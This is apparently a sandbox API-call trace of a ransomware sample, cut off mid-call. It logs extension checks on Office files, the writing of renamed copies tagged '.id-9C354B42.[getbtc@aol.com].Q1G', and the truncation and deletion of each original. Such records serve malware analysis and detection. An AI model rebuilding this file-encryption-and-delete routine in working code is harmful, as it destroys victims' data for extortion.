[0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString=".doc") returned 4 [0248.970] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString=".docx") returned 5 [0248.971] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0248.971] lstrlenW (lpString=".pdf") returned 4 [0248.971] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString=".xls") returned 4 [0248.971] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString=".xlsx") returned 5 [0248.971] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0248.971] lstrlenW (lpString=".ppt") returned 4 [0248.971] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.971] lstrlenW (lpString=".zip") returned 4 [0248.971] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString=".rar") returned 4 [0248.971] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.971] lstrlenW (lpString=".bz2") returned 4 [0248.971] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.971] lstrlenW (lpString=".7z") returned 3 [0248.971] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.971] lstrlenW (lpString=".dbf") returned 4 [0248.971] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.971] lstrlenW (lpString=".1cd") returned 4 [0248.971] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.971] lstrlenW (lpString=".jpg") returned 4 [0248.971] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.971] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.971] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0248.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.972] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=432098) returned 1 [0248.972] CloseHandle (hObject=0x3bc) returned 1 [0248.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20 [0248.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.972] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.972] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.973] GetLastError () returned 0x0 [0248.973] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x697e2, lpOverlapped=0x0) returned 1 [0249.003] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x697f0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x697f0, lpOverlapped=0x0) returned 1 [0249.010] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.010] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0249.010] SetEndOfFile (hFile=0x3a0) returned 1 [0249.010] CloseHandle (hObject=0x3a0) returned 1 [0249.010] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.010] SetEndOfFile (hFile=0x3bc) returned 1 [0249.020] CloseHandle (hObject=0x3bc) returned 1 [0249.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 1 [0249.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.020] lstrlenW (lpString=".doc") returned 4 [0249.021] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.021] lstrlenW (lpString=".docx") returned 5 [0249.021] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0249.021] lstrlenW (lpString=".pdf") returned 4 [0249.021] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString=".xls") returned 4 [0249.021] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString=".xlsx") returned 5 [0249.021] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0249.021] lstrlenW (lpString=".ppt") returned 4 [0249.021] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString=".zip") returned 4 [0249.021] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString=".rar") returned 4 [0249.021] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString=".bz2") returned 4 [0249.021] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.021] lstrlenW (lpString=".7z") returned 3 [0249.021] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString=".dbf") returned 4 [0249.021] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString=".1cd") returned 4 [0249.021] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString=".jpg") returned 4 [0249.021] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.021] lstrlenW (lpString=".doc") returned 4 [0249.021] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.021] lstrlenW (lpString=".docx") returned 5 [0249.021] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0249.021] lstrlenW (lpString=".pdf") returned 4 [0249.021] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.021] lstrlenW (lpString=".xls") returned 4 [0249.021] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.022] lstrlenW (lpString=".xlsx") returned 5 [0249.022] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0249.022] lstrlenW (lpString=".ppt") returned 4 [0249.022] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.022] lstrlenW (lpString=".zip") returned 4 [0249.022] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.022] lstrlenW (lpString=".rar") returned 4 [0249.022] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.022] lstrlenW (lpString=".bz2") returned 4 [0249.022] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.022] lstrlenW (lpString=".7z") returned 3 [0249.022] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.022] lstrlenW (lpString=".dbf") returned 4 [0249.022] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.022] lstrlenW (lpString=".1cd") returned 4 [0249.022] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0249.022] lstrlenW (lpString=".jpg") returned 4 [0249.022] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.022] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0249.022] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0249.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.023] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=666) returned 1 [0249.023] CloseHandle (hObject=0x3bc) returned 1 [0249.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20 [0249.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.023] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.023] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.024] GetLastError () returned 0x0 [0249.024] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x29a, lpOverlapped=0x0) returned 1 [0249.200] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0249.200] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.200] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x100, lpOverlapped=0x0) returned 1 [0249.201] SetEndOfFile (hFile=0x3a0) returned 1 [0249.201] CloseHandle (hObject=0x3a0) returned 1 [0249.201] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.201] SetEndOfFile (hFile=0x3bc) returned 1 [0249.203] CloseHandle (hObject=0x3bc) returned 1 [0249.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString=".doc") returned 4 [0249.232] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0249.232] lstrlenW (lpString=".docx") returned 5 [0249.232] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0249.232] lstrlenW (lpString=".pdf") returned 4 [0249.232] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString=".xls") returned 4 [0249.232] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString=".xlsx") returned 5 [0249.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0249.232] lstrlenW (lpString=".ppt") returned 4 [0249.232] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString=".zip") returned 4 [0249.232] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString=".rar") returned 4 [0249.232] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString=".bz2") returned 4 [0249.232] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0249.232] lstrlenW (lpString=".7z") returned 3 [0249.232] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString=".dbf") returned 4 [0249.232] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString=".1cd") returned 4 [0249.232] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString=".jpg") returned 4 [0249.232] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.233] lstrlenW (lpString=".doc") returned 4 [0249.233] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0249.233] lstrlenW (lpString=".docx") returned 5 [0249.233] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0249.233] lstrlenW (lpString=".pdf") returned 4 [0249.233] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0249.233] lstrlenW (lpString=".xls") returned 4 [0249.233] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0249.233] lstrlenW (lpString=".xlsx") returned 5 [0249.233] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0249.233] lstrlenW (lpString=".ppt") returned 4 [0249.233] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0249.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.233] lstrlenW (lpString=".zip") returned 4 [0249.233] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0249.233] lstrlenW (lpString=".rar") returned 4 [0249.233] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0249.233] lstrlenW (lpString=".bz2") returned 4 [0249.233] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0249.233] lstrlenW (lpString=".7z") returned 3 [0249.233] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0249.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.233] lstrlenW (lpString=".dbf") returned 4 [0249.233] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0249.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.233] lstrlenW (lpString=".1cd") returned 4 [0249.233] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0249.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0249.233] lstrlenW (lpString=".jpg") returned 4 [0249.233] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0249.233] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0249.233] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0249.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.234] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=208) returned 1 [0249.234] CloseHandle (hObject=0x3ac) returned 1 [0249.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 0x20 [0249.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.234] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.234] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.235] GetLastError () returned 0x0 [0249.235] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd0, lpOverlapped=0x0) returned 1 [0249.236] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0249.237] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.237] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0249.237] SetEndOfFile (hFile=0x3b0) returned 1 [0249.237] CloseHandle (hObject=0x3b0) returned 1 [0249.237] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.237] SetEndOfFile (hFile=0x3ac) returned 1 [0249.280] CloseHandle (hObject=0x3ac) returned 1 [0249.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 1 [0249.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.281] lstrlenW (lpString=".doc") returned 4 [0249.281] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0249.281] lstrlenW (lpString=".docx") returned 5 [0249.281] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0249.281] lstrlenW (lpString=".pdf") returned 4 [0249.281] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0249.281] lstrlenW (lpString=".xls") returned 4 [0249.281] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0249.281] lstrlenW (lpString=".xlsx") returned 5 [0249.281] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0249.281] lstrlenW (lpString=".ppt") returned 4 [0249.281] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0249.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.281] lstrlenW (lpString=".zip") returned 4 [0249.281] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0249.281] lstrlenW (lpString=".rar") returned 4 [0249.281] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0249.281] lstrlenW (lpString=".bz2") returned 4 [0249.282] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0249.282] lstrlenW (lpString=".7z") returned 3 [0249.282] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString=".dbf") returned 4 [0249.282] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString=".1cd") returned 4 [0249.282] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString=".jpg") returned 4 [0249.282] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString=".doc") returned 4 [0249.282] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0249.282] lstrlenW (lpString=".docx") returned 5 [0249.282] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0249.282] lstrlenW (lpString=".pdf") returned 4 [0249.282] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString=".xls") returned 4 [0249.282] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString=".xlsx") returned 5 [0249.282] lstrcmpiW (lpString1=".xlsx", 